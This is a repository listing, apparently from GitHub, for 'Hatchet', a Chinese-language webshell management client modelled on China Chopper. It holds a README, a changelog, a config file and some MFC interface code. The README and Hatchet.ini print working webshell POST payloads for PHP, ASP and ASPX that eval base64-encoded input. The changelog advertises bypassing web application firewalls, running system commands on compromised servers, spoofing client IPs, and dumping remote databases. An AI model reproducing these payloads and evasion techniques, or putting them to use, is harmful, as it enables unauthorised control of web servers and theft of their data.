├── README.md ├── build ├── Hatchet.exe ├── Hatchet.ini └── db.mdb └── code ├── Hatchet.sln ├── Hatchet.suo ├── Hatchet ├── Base64.cpp ├── Base64.h ├── BrowseDlg.cpp ├── BrowseDlg.h ├── CPData.cpp ├── CPData.h ├── CaptionCenterPanel.cpp ├── CaptionCenterPanel.h ├── CaptionLeftPanel.cpp ├── CaptionLeftPanel.h ├── CaptionPanel.cpp ├── CaptionPanel.h ├── CaptionRightPanel.cpp ├── CaptionRightPanel.h ├── CmdDlg.cpp ├── CmdDlg.h ├── DataDlg.cpp ├── DataDlg.h ├── EvalCodeDlg.cpp ├── EvalCodeDlg.h ├── FileDlg.cpp ├── FileDlg.h ├── FileSaveDlg.cpp ├── FileSaveDlg.h ├── Function.h ├── Hatchet.cpp ├── Hatchet.h ├── Hatchet.rc ├── Hatchet.vcproj ├── Hatchet.vcproj.USA-98C38D81E9B.Administrator.user ├── Hatchet.vcproj.VC.Administrator.user ├── Hatchet.vcproj.WORD-5A3AC662E6.Administrator.user ├── ImageButton.cpp ├── ImageButton.h ├── MainDlg.cpp ├── MainDlg.h ├── MainHatchet.cpp ├── MainHatchet.h ├── Panel.cpp ├── Panel.h ├── ProxyDlg.cpp ├── ProxyDlg.h ├── ReadMe.txt ├── RegistryDlg.cpp ├── RegistryDlg.h ├── Release │ ├── BuildLog.htm │ ├── msado15.tlh │ ├── msado15.tli │ ├── msadox.tlh │ └── msadox.tli ├── SetpDataDlg.cpp ├── SetpDataDlg.h ├── SetpSiteDlg.cpp ├── SetpSiteDlg.h ├── WgetDlg.cpp ├── WgetDlg.h ├── explorer1.cpp ├── explorer1.h ├── res │ ├── Hatchet.ico │ ├── Hatchet.rc2 │ ├── Thumbs.db │ ├── asp.ico │ ├── aspx.ico │ ├── browse.ico │ ├── cmd.ico │ ├── columns.ico │ ├── customize.ico │ ├── data.ico │ ├── dir.ico │ ├── drive.ico │ ├── file_save.ico │ ├── idb_border.bmp │ ├── idb_caption.bmp │ ├── idb_closebtn.bmp │ ├── idb_maxbtn.bmp │ ├── idb_minbtn.bmp │ ├── idb_tab.bmp │ ├── idb_tab_0.bmp │ ├── idb_traybtn.bmp │ ├── jsp.ico │ ├── php.ico │ ├── proxy.ico │ ├── registry.ico │ ├── table.ico │ └── type.ico ├── resource.h ├── stdafx.cpp └── stdafx.h ├── Read me.txt └── vc.bat /README.md: -------------------------------------------------------------------------------- 1 | Hatchet VS2005完整源码 2 | 3 | 免责申明: 4 | 请使用者注意使用环境并遵守国家相关法律法规! 5 | 由于使用不当造成的后果本厂家不承担任何责任! 6 | ------------------------------------------------------------ 7 | 1. 说明: 8 | 我是一个产刀的,用于什么用途,由您自行选择。 9 | 10 | 2. 致谢: 11 | 菜刀某前辈及各位网友的建议 12 | 13 | 3. 弱点: 14 | 存在细节方面没处理好 15 | 数据库与菜刀有所区别不能共用 16 | 17 | 4. 优点: 18 | 持续更新 19 | 快捷键操作 20 | 注册表读取 21 | HTTP头自行控制 22 | POST部分数据可自定义,突破安全狗等WAF(一句话需自行处理) 23 | PHP Warning 警告去除,避免某些WAF等记录 24 | PHP支持多种执行命令,安全模式也能执行 25 | PHP管理PostgreSQL、ODBC_MSSQL、PDO_MYSQL、PDO_MSSQL数据库 26 | HTTP代理,只完成PHP。支持HTTP[S] GET POST 27 | 文件夹双击进入,树形框的上一层可以点击 28 | 支持NTLM验证 29 | COMBO历史记录 30 | 支持选择数据库后直接执行SQL命令 31 | 数据库右键获取20条记录 32 | 支持JSP上传 33 | 文件[夹]剪切(文件移动机制秒移) 34 | 文件[夹]多选删除 35 | 文件[夹]多选下载 36 | 应该来说不会崩溃 37 | 右键导出数据库查询结果保存TXT,默认每一个字段用一个【TAB】分开,如果需要用其他字符请在填写保存文件名的时候,后面加上&&,紧跟分隔符。如: table.txt&&@_@ 38 | 数据库执行SQL查询时,直接导出到本地文件,不显示到列表框。SQL命令后面加上--file:紧跟要导出到的文件名。如: Select * From Members Limit 0,20--file:1.txt 39 | 支持PHP脚本的数据库管理,远程备份。如: Select * From Members Limit 0,20--save:data.sql--split:@_@ 40 | 41 | 5. 后门: 42 | 缩小体积已加UPX壳 43 | 绝无有意添加的后门,但三流的业余技能不排除被远程溢出的BUG 44 | 文件: C:\Projects\Hatchet\release\Hatchet.exe 45 | 大小: 269312 字节 46 | 文件版本: 1.0.0.1 47 | 修改时间: 2014年8月26日, 12:19:43 48 | MD5: 91FAA43F3F89083F2E9C78D05E13673C 49 | SHA1: A1B598CB4EB47554E6F191A7EB33111F462C77FD 50 | CRC32: C094BD42 51 | 52 | ```cpp 53 | /* 54 | [Header] 55 | User-Agent=Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) 56 | Referer=1 57 | X-Forwarded-For=1 58 | [/Header] 59 | [Headers] 60 | Accept-Language: en-us 61 | Content-Type: application/x-www-form-urlencoded 62 | [/Headers] 63 | [POST] 64 | ASP_POST_DATA==Execute("Execute(""On+Error+Resume+Next:Response.Clear: 65 | 66 | ASPX_POST_DATA==Response.Write("->|");var err:Exception;try{eval(System.Text.Encoding.GetEncoding(%nPageCode%).GetString(System.Convert.FromBase64String("%szBase64EvalCode%")),"unsafe");}catch(err){Response.Write("ERROR:// "%2Berr.message);}Response.Write("|<-");Response.End(); 67 | 68 | PHP_POST_DATA==@eval(base64_decode($_POST[z0]));&z0= 69 | 70 | PHP_POST_Z0_DATA=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0); 71 | [/POST] 72 | 73 | ################################################## 74 | #以下是说明 75 | 请严格保持该格式,大小写不一样 76 | Referer 为1 则程序自动添加 77 | X-Forwarded-For 为1 则程序自动随机生成添加 78 | 如果要自己手动添加其固定值,请设为0,后在[Headers]里添加即可。 79 | [POST]里为POST的部分数据,可自行变异这段代码,过安全狗等,很灵活的哦~ 80 | %nPageCode% 为程序需要处理的编码,请保留 81 | %szBase64EvalCode% 为程序需要处理的执行代码,请保留 82 | */ 83 | ``` 84 | ------------------------------------------------------------ 85 | 2013.12.03 86 | * 本地数据库单引号 87 | * CMD选择所有,任意键覆盖 88 | + FileSave CTRL+A 89 | 90 | 2013.12.07 91 | * JSP 传递没有 UrlEnCode 92 | + 增加文件夹下载 93 | * 站点管理,光标URL全选 94 | * szMyBase64Encode.Replace("+","%2B"); 95 | 96 | 2013.12.09 97 | + 增加 HTTP 错误显示 98 | * 修正下载目录,win linux / \ 99 | * 修正'\0'格式化发生的截断 100 | 101 | 2013.12.10 102 | + TAB标签OK 103 | * ASPX脚本编码 104 | 105 | 2013.12.11 106 | * TAB的X范围加大 107 | + PHP脚本过安全狗 108 | 109 | 2013.12.12 110 | * eval preg_replace均可以使用过狗版本 chr(45). 111 | + 稍微完善一下状态栏 112 | 113 | 2013.12.13 114 | * 下载、上传文件开启一个新线程 115 | 116 | 2013.12.18 117 | + asp \r\nOn+Error 过狗 118 | + aspx var err\r\n 过狗 119 | * Shell类型编辑时,内容一样不更新 120 | * 文件管理重命名、更改时间,内容一样不更新 121 | + 快捷键 F2 文件管理重命名 122 | 123 | 2013.12.19 124 | + 增加自写代码 125 | + 增加HTTP头 INI里配置(在主界面右键里,如果文件不存在,第一次自动生成) 126 | 127 | 2013.12.21 128 | * 修正文件内容Linux(\n)换行显示 129 | + 文件内容 Ctrl+F 查找 130 | * 修正多线程,随机IP都一样 131 | * PHP Warning 警告去除 132 | + 自写代码快捷键 Ctrl+A,F5执行 133 | 134 | 2013.12.23 135 | + 增加右键数据库查询结果导出TXT,默认每一个字段用一个【TAB】分开,如果需要用其他字符请在填写保存文件名的时候,后面加上&&,紧跟分隔符。如: table.txt&&, 136 | + 增加数据库执行SQL查询时,直接导出到本地文件,不显示到列表框。SQL命令后面加上--file:紧跟要导出到的文件名。如: Select * From Members Limit 0,20--file:1.txt 137 | * 数据库查询结果显示,计算错误的小Bug 138 | * 数据库错误显示的问题 139 | 140 | 2013.12.24 141 | * UTF8 GBK互换的BUG 142 | 143 | 2013.12.27 144 | + 增加连接数据库代码实例 145 | + 增加命令执行方式(system,passthru,shell_exec,exec,WScript.shell) 146 | 147 | 2013.12.29 148 | + 增加PHP管理PostgreSQL数据库 149 | * PHP MySQL少写z1= 150 | 151 | 2014.01.04 152 | + 增加PHP管理ODBC_MSSQL数据库 153 | 154 | 2014.01.07 155 | * 数据库导出HTML编码设置charset=GBK 156 | * JSP查询数据库错误不弹AfxMessageBox 157 | 158 | 2014.01.08 159 | + Shell列表排序 160 | * Shell日期的月份日期添加前导零 161 | * 修正上传文件大小限制 162 | 163 | 2014.01.09 164 | * 修正CMD,cls清空后上下箭头还原旧内容 165 | 166 | 2014.01.10 167 | + 显示下载进度大小 168 | * 选择保存文件夹可删除|OFN_NOCHANGEDIR 169 | + 文件下载完成,自动打开文件夹选定文件。 170 | 171 | 2014.01.14 感谢luoye 172 | * 文件管理路径处理问题。防止调皮的伙伴C:\\\\\\\\\\\\或C://////////或C: 173 | * JSP db2连接例子有误password=123456;后面有分号。 174 | 175 | 2014.01.24 176 | + 增加标题栏右键系统菜单 177 | + 记忆选择标签,文件管理,文件内容管理,内容关闭,回到文件管理 178 | * 路途再远,也要回家。小伙伴们春节快乐!!! 179 | 180 | 2014.02.11 181 | * 运行软件,如果存在INI,自动加载。之前需要右键才会加载。OnMainUpdateIni(bool bNoCreat=true); 182 | + 过360网站卫士 183 | + POST前一小段数据可在INI里自定义,经研究可突破安全狗等WAF。 184 | "=Execute(\"Execute(\"\"On+Error+Resume+Next: ==> Ini_szASP_POST_DATA + " 185 | "=%40eval%09%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0= ==> Ini_szPHP_POST_DATA + " 186 | 187 | 2014.02.21 188 | + 数据库和文件管理树形框就地编辑,只是方便复制内容,不会改变服务器。 189 | * 修正获取列表框的小问题。GetNextItem < 0 return; 190 | + 增加文件复制,文件剪切(仅PHP) 191 | 192 | 2014.02.22 193 | + 增加文件剪切(ASP ASPX JSP) 194 | 195 | 2014.03.05 196 | * 修正PreTranslateMessage事件处理忘记及时返回 197 | * 修正文件管理,后续增加的映射磁盘网络磁盘等,显示会有问题。 198 | 199 | 2014.03.17 200 | * 某种原因,更改软件名称: Hatchet 201 | + 增加POST的z0前部分自定义,突破安全宝的Base64关键词。 202 | * 修正CMD框,等宽字体,对齐的问题。 203 | 204 | 2014.03.18 205 | * 修正CMD返回路径的截取问题 206 | * 修正代码执行,等宽字体,对齐的问题。 207 | * 修正获取文件内容,等宽字体,对齐的问题。 208 | + 增加部分多线程,不卡界面。 209 | + 增加代码执行导出导入。 210 | 211 | 2014.04.01 212 | * 界面大改动(非常感谢p1n9y_fly) 213 | + 增加大部分多线程 214 | + 增加部分快捷键 215 | 216 | 2014.04.02 217 | * 再次修正随机IP都一样 218 | - 取消自动添加Cookie,导致INI里填的Cookie不能被添加上 INTERNET_FLAG_NO_COOKIES 219 | + 增加快捷键 Ctrl+V 220 | + 增加系统托盘 221 | * 文件内容保存线程变量未初始化(感谢Xi总) 222 | * 修正重命名、新建目录,如果文件[夹]存在,覆盖。(感谢Xi总) 223 | 224 | 2014.04.04 225 | + 增加上传文件后自动刷新列表 226 | * 修正PHP文件[夹]可读可写标注。换成is_readable is_writable(感谢敌敌喂) 227 | * 修正树形框,判断给定树项是否包含子项,2014.04.04 BUG,有子项,不一定已经存在(感谢敌敌喂) 228 | * 修正文件管理C:\/\/\/\/这种路径 229 | * 修正CMD Ctrl+V 230 | + 增加Shell列表快捷键 Insert(添加) Delete(删除) Enter(编辑) 231 | + 增加文件管理列表快捷键,回车进入文件夹或者文件内容编辑。 232 | 233 | 2014.04.07 234 | * 增强多文件处理 235 | * 修正文件管理树形框小问题 236 | * 更换文件管理EDIT->COMBO 237 | + 增加注册表管理 238 | 239 | 2014.04.14 240 | + 增加注册表本地缓存 241 | + 稍微完善一下状态栏 242 | * 修正asp数据库截取的BUG(感谢Ciph2r) 243 | * 修正编辑的对话框显示位置问题 244 | + 增加COMBO记录 245 | 246 | 2014.05.07 247 | + 增加显示版本 248 | * 修正CMD cls保留系统信息 249 | + 增加CMD Please wait... 250 | + 增加数据库右键查询20条 251 | + 增加数据库ESC取消编辑 252 | * 修正文件图标szIcoTemp变量忘记初始化 253 | + 文件管理,回车或双击的文件如果是以下弹出下载 254 | .jpg.gif.png.bmp.jpeg.ico 255 | .zip.rar.tgz.7z.tar.gz.iso.cab.bz2.jar.dmg 256 | .exe.msi.dll.sys.avi.mpeg.mpg.vob.rmvb.wmv.mp3.mp4.3gp.ogg.voc 257 | .swf.pdf.flv.fla.psd.doc.docx.xls.xlsx.ppt.pptx.mdb.rtf 258 | 259 | 2014.05.09 260 | + 主页增加复制URL地址(Ctrl+C) 261 | * 文件夹双击进入,树形框跟进(感谢Lee Swagger) 262 | * 文件夹双击进入,树形框选择项并没有改变。SelectItem执行失败,换OnNMClickTree判断 263 | + 增加ASPX POST数据INI自定义 264 | * MYSQL如有不正常的表名,中文、空格等,请用`包含表名(感谢Hancock) 265 | 266 | 2014.05.21 267 | + 增加全部EDIT,CTRL+A 268 | * 修正MAIN IDC_EDIT_FIND,大小改变,被覆盖隐藏 269 | + 增加Wget线程 270 | * 修正数据库显示结果,编码问题导致的死循环 271 | * 修正asp特殊环境缓存的问题。Response.Clear 272 | * 修正asp数据库SI变量初始化 273 | + 优化数据库返回的列表宽度 274 | 275 | 2014.06.06 276 | + 增加浏览器功能,以便支持NTLM验证(感谢R) 277 | * 修正CMD如果所在光标位置可更改粘贴(感谢R) 278 | + 增加CMD,ESC按键,清除当前输入的命令 279 | + 增加浏览器状态和加载完成后的地址显示 280 | 281 | 2014.07.02 282 | * 修正如果标签已关闭,线程还在运行。导致的程序崩溃。if (pDlg->m_hWnd == NULL) 283 | + 增加PDO管理mysql和mssql数据库 284 | 285 | 286 | 2014.07.07 287 | * 修正PHP执行cmd变量未初始化$ret=1(函数禁用导致的出错) 288 | * 修正CMD显示的小问题 289 | * 切换标签,当前Dialog获得焦点 290 | + 支持PHP脚本的数据库管理,远程备份 291 | 292 | 2014.08.26 293 | * 文件上传分块缩小,51200 294 | + 添加一些状态 295 | * Data select show 296 | * CMD命令排序 297 | + Data Ctrl+C和F2快捷键 298 | * 修正ComboBox下拉高度 299 | + 添加Shell判断是否存在 300 | -------------------------------------------------------------------------------- /build/Hatchet.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/build/Hatchet.exe -------------------------------------------------------------------------------- /build/Hatchet.ini: -------------------------------------------------------------------------------- 1 | [Header] 2 | User-Agent=Mozilla/5.0 (Windows NT 6.1; rv:43.0) Gecko/20100101 Firefox/43.0 3 | Referer=1 4 | X-Forwarded-For=1 5 | [/Header] 6 | [Headers] 7 | Accept-Language: en-us 8 | Content-Type: application/x-www-form-urlencoded 9 | [/Headers] 10 | [POST] 11 | ASP_POST_DATA==ExecuteGlobal("Execute(""On+Error+Resume+Next:Response.Clear: 12 | 13 | ASPX_POST_DATA==Response.Write("->|");/*@cc_on @*/var err:Exception;try{eval(System.Text.Encoding.GetEncoding(%nPageCode%).GetString(System.Convert.FromBase64String("%szBase64EvalCode%")),"unsafe");}catch(err){Response.Write("ERROR:// "%2Berr.message);}Response.Write("|<-");Response.End(); 14 | 15 | PHP_POST_DATA==@eval(stripcslashes(base64_decode(stripcslashes($_POST[z0]))));&z0= 16 | 17 | PHP_POST_Z0_DATA=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0); 18 | [/POST] 19 | [RandTypeExclude] 20 | 127.0.0.1 21 | [/RandTypeExclude] 22 | [RandType] 23 | article 24 | news 25 | type 26 | index 27 | view 28 | [/RandType] 29 | -------------------------------------------------------------------------------- /build/db.mdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/build/db.mdb -------------------------------------------------------------------------------- /code/Hatchet.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 9.00 3 | # Visual Studio 2005 4 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Hatchet", "Hatchet\Hatchet.vcproj", "{52678047-E481-4662-A8E6-A0711EDE7170}" 5 | EndProject 6 | Global 7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 8 | Debug|Win32 = Debug|Win32 9 | Release|Win32 = Release|Win32 10 | EndGlobalSection 11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 12 | {52678047-E481-4662-A8E6-A0711EDE7170}.Debug|Win32.ActiveCfg = Debug|Win32 13 | {52678047-E481-4662-A8E6-A0711EDE7170}.Debug|Win32.Build.0 = Debug|Win32 14 | {52678047-E481-4662-A8E6-A0711EDE7170}.Release|Win32.ActiveCfg = Release|Win32 15 | {52678047-E481-4662-A8E6-A0711EDE7170}.Release|Win32.Build.0 = Release|Win32 16 | EndGlobalSection 17 | GlobalSection(SolutionProperties) = preSolution 18 | HideSolutionNode = FALSE 19 | EndGlobalSection 20 | EndGlobal 21 | -------------------------------------------------------------------------------- /code/Hatchet.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet.suo -------------------------------------------------------------------------------- /code/Hatchet/Base64.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/Base64.cpp -------------------------------------------------------------------------------- /code/Hatchet/Base64.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/Base64.h -------------------------------------------------------------------------------- /code/Hatchet/BrowseDlg.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/BrowseDlg.cpp -------------------------------------------------------------------------------- /code/Hatchet/BrowseDlg.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/BrowseDlg.h -------------------------------------------------------------------------------- /code/Hatchet/CPData.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/CPData.cpp -------------------------------------------------------------------------------- /code/Hatchet/CPData.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/CPData.h -------------------------------------------------------------------------------- /code/Hatchet/CaptionCenterPanel.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/CaptionCenterPanel.cpp -------------------------------------------------------------------------------- /code/Hatchet/CaptionCenterPanel.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/CaptionCenterPanel.h -------------------------------------------------------------------------------- /code/Hatchet/CaptionLeftPanel.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/CaptionLeftPanel.cpp -------------------------------------------------------------------------------- /code/Hatchet/CaptionLeftPanel.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include "panel.h" 4 | 5 | class CCaptionLeftPanel : 6 | public CPanel 7 | { 8 | public: 9 | CCaptionLeftPanel(void); 10 | ~CCaptionLeftPanel(void); 11 | 12 | 13 | protected: 14 | DECLARE_MESSAGE_MAP() 15 | afx_msg int OnCreate(LPCREATESTRUCT lpCreateStruct); 16 | afx_msg void OnPaint(); 17 | afx_msg void OnLButtonDown(UINT nFlags, CPoint point); 18 | afx_msg void OnLButtonDblClk(UINT nFlags, CPoint point); 19 | 20 | public: 21 | CImage m_imgCaption; 22 | 23 | }; 24 | -------------------------------------------------------------------------------- /code/Hatchet/CaptionPanel.cpp: -------------------------------------------------------------------------------- 1 | #include "StdAfx.h" 2 | #include "CaptionPanel.h" 3 | #include "MainHatchet.h" 4 | 5 | CCaptionPanel::CCaptionPanel(void) 6 | { 7 | m_CaptionLeftPanel.m_hWnd = NULL; 8 | m_CaptionCenterPanel.m_hWnd = NULL; 9 | m_CaptionRightPanel.m_hWnd = NULL; 10 | } 11 | 12 | CCaptionPanel::~CCaptionPanel(void) 13 | { 14 | 15 | } 16 | BEGIN_MESSAGE_MAP(CCaptionPanel, CPanel) 17 | ON_WM_CREATE() 18 | ON_WM_SIZE() 19 | ON_WM_CONTEXTMENU() 20 | END_MESSAGE_MAP() 21 | 22 | int CCaptionPanel::OnCreate(LPCREATESTRUCT lpCreateStruct) 23 | { 24 | if (CPanel::OnCreate(lpCreateStruct) == -1) 25 | return -1; 26 | 27 | if (m_CaptionLeftPanel.m_hWnd) return 0; 28 | if (m_CaptionCenterPanel.m_hWnd) return 0; 29 | if (m_CaptionRightPanel.m_hWnd) return 0; 30 | 31 | m_CaptionLeftPanel.Create(_T("CaptionLeftPanel"), WS_CHILD|WS_VISIBLE, CRect(0, 0, 30, lpCreateStruct->cy), this, 10001); 32 | m_CaptionCenterPanel.Create(_T("CaptionCenterPanel"), WS_CHILD|WS_VISIBLE, CRect(30, 0, lpCreateStruct->cx-30-92, lpCreateStruct->cy), this, 10002); 33 | m_CaptionRightPanel.Create(_T("CaptionRightPanel"), WS_CHILD|WS_VISIBLE, CRect(lpCreateStruct->cx-92, 0, 92, lpCreateStruct->cy), this, 10003); 34 | 35 | return 0; 36 | } 37 | 38 | void CCaptionPanel::OnSize(UINT nType, int cx, int cy) 39 | { 40 | CPanel::OnSize(nType, cx, cy); 41 | 42 | if (m_CaptionLeftPanel.m_hWnd == NULL) return; 43 | if (m_CaptionCenterPanel.m_hWnd == NULL) return; 44 | if (m_CaptionRightPanel.m_hWnd == NULL) return; 45 | 46 | CRect rcClient; 47 | GetClientRect(rcClient); 48 | 49 | m_CaptionLeftPanel.MoveWindow(0, 0, 30, rcClient.Height()); 50 | m_CaptionCenterPanel.MoveWindow(30, 0, rcClient.Width()-30-92, rcClient.Height()); 51 | m_CaptionRightPanel.MoveWindow(rcClient.Width()-92, 0, 92, rcClient.Height());//75 52 | 53 | } 54 | 55 | void CCaptionPanel::OnContextMenu(CWnd* pWnd, CPoint point) 56 | { 57 | CMainHatchet* pMainHatchet = (CMainHatchet*)AfxGetMainWnd(); 58 | if (pMainHatchet) 59 | { 60 | CMenu* pSysMenu = pMainHatchet->GetSystemMenu(0); 61 | if (pSysMenu) 62 | { 63 | UpdateSystemMenu(pSysMenu); 64 | int nID = pSysMenu->TrackPopupMenu(TPM_LEFTALIGN | TPM_RIGHTBUTTON | TPM_RETURNCMD, point.x, point.y, pMainHatchet); 65 | if (nID > 0) 66 | { 67 | if (nID == SC_CLOSE) 68 | { 69 | pMainHatchet->SendMessage(WM_SYSCOMMAND, nID, 0); 70 | return; 71 | } 72 | pMainHatchet->SendMessage(WM_SYSCOMMAND, nID, 0); 73 | } 74 | } 75 | } 76 | } 77 | 78 | void CCaptionPanel::UpdateSystemMenu(CMenu* pMenu) 79 | { 80 | if (AfxGetMainWnd()->IsIconic()) 81 | { 82 | return; 83 | } 84 | 85 | if (AfxGetMainWnd()->IsZoomed()) 86 | { 87 | CString szMenuStr; 88 | 89 | pMenu->GetMenuString(SC_RESTORE,szMenuStr,MF_BYCOMMAND); 90 | pMenu->ModifyMenu(SC_RESTORE, MF_STRING | MF_ENABLED, SC_RESTORE, szMenuStr); 91 | /* 92 | pMenu->GetMenuString(SC_MINIMIZE,szMenuStr,MF_BYCOMMAND); 93 | pMenu->ModifyMenu(SC_MINIMIZE, MF_STRING | MF_ENABLED, SC_MINIMIZE, szMenuStr); 94 | */ 95 | pMenu->GetMenuString(SC_MAXIMIZE,szMenuStr,MF_BYCOMMAND); 96 | pMenu->ModifyMenu(SC_MAXIMIZE, MF_STRING | MF_GRAYED, SC_MAXIMIZE, szMenuStr); 97 | 98 | pMenu->GetMenuString(SC_MOVE,szMenuStr,MF_BYCOMMAND); 99 | pMenu->ModifyMenu(SC_MOVE, MF_STRING | MF_GRAYED, SC_MOVE, szMenuStr); 100 | 101 | pMenu->GetMenuString(SC_SIZE,szMenuStr,MF_BYCOMMAND); 102 | pMenu->ModifyMenu(SC_SIZE, MF_STRING | MF_GRAYED, SC_SIZE, szMenuStr); 103 | } 104 | else 105 | { 106 | CString szMenuStr; 107 | pMenu->GetMenuString(SC_RESTORE,szMenuStr,MF_BYCOMMAND); 108 | pMenu->ModifyMenu(SC_RESTORE, MF_STRING | MF_GRAYED, SC_RESTORE, szMenuStr); 109 | /* 110 | pMenu->GetMenuString(SC_MINIMIZE,szMenuStr,MF_BYCOMMAND); 111 | pMenu->ModifyMenu(SC_MINIMIZE, MF_STRING | MF_ENABLED, SC_MINIMIZE, szMenuStr); 112 | 113 | pMenu->GetMenuString(SC_MAXIMIZE,szMenuStr,MF_BYCOMMAND); 114 | pMenu->ModifyMenu(SC_MAXIMIZE, MF_STRING | MF_ENABLED, SC_MAXIMIZE, szMenuStr); 115 | 116 | pMenu->GetMenuString(SC_MOVE,szMenuStr,MF_BYCOMMAND); 117 | pMenu->ModifyMenu(SC_MOVE, MF_STRING | MF_ENABLED, SC_MOVE, szMenuStr); 118 | 119 | pMenu->GetMenuString(SC_SIZE,szMenuStr,MF_BYCOMMAND); 120 | pMenu->ModifyMenu(SC_SIZE, MF_STRING | MF_ENABLED, SC_SIZE, szMenuStr); 121 | */ 122 | } 123 | 124 | return; 125 | } -------------------------------------------------------------------------------- /code/Hatchet/CaptionPanel.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "panel.h" 3 | #include "CaptionLeftPanel.h" 4 | #include "CaptionCenterPanel.h" 5 | #include "CaptionRightPanel.h" 6 | 7 | class CCaptionPanel : 8 | public CPanel 9 | { 10 | public: 11 | CCaptionPanel(void); 12 | ~CCaptionPanel(void); 13 | 14 | private: 15 | CCaptionLeftPanel m_CaptionLeftPanel; 16 | CCaptionCenterPanel m_CaptionCenterPanel; 17 | CCaptionRightPanel m_CaptionRightPanel; 18 | DECLARE_MESSAGE_MAP() 19 | afx_msg int OnCreate(LPCREATESTRUCT lpCreateStruct); 20 | afx_msg void OnSize(UINT nType, int cx, int cy); 21 | afx_msg void OnContextMenu(CWnd* pWnd, CPoint point); 22 | afx_msg void UpdateSystemMenu(CMenu* pMenu); 23 | }; 24 | -------------------------------------------------------------------------------- /code/Hatchet/CaptionRightPanel.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/CaptionRightPanel.cpp -------------------------------------------------------------------------------- /code/Hatchet/CaptionRightPanel.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include "panel.h" 4 | #include "ImageButton.h" 5 | 6 | class CCaptionRightPanel : 7 | public CPanel 8 | { 9 | public: 10 | CCaptionRightPanel(void); 11 | ~CCaptionRightPanel(void); 12 | 13 | protected: 14 | DECLARE_MESSAGE_MAP() 15 | afx_msg int OnCreate(LPCREATESTRUCT lpCreateStruct); 16 | afx_msg void OnPaint(); 17 | afx_msg void OnClickedMinBtn(); 18 | afx_msg void OnClickedTrayBtn(); 19 | afx_msg void OnClickedMaxBtn(); 20 | afx_msg void OnClickedCloseBtn(); 21 | public: 22 | CImage m_imgCaption; 23 | CImageButton m_imgTrayBtn; 24 | CImageButton m_imgMinBtn; 25 | CImageButton m_imgMaxBtn; 26 | CImageButton m_imgCloseBtn; 27 | }; 28 | -------------------------------------------------------------------------------- /code/Hatchet/CmdDlg.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/CmdDlg.cpp -------------------------------------------------------------------------------- /code/Hatchet/CmdDlg.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/CmdDlg.h -------------------------------------------------------------------------------- /code/Hatchet/DataDlg.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/DataDlg.cpp -------------------------------------------------------------------------------- /code/Hatchet/DataDlg.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/DataDlg.h -------------------------------------------------------------------------------- /code/Hatchet/EvalCodeDlg.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/EvalCodeDlg.cpp -------------------------------------------------------------------------------- /code/Hatchet/EvalCodeDlg.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/EvalCodeDlg.h -------------------------------------------------------------------------------- /code/Hatchet/FileDlg.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/euphrat1ca/hatchet/b829593572b9d882ca6081fa3507e14f8448c7b0/code/Hatchet/FileDlg.cpp -------------------------------------------------------------------------------- /code/Hatchet/FileDlg.h: -------------------------------------------------------------------------------- 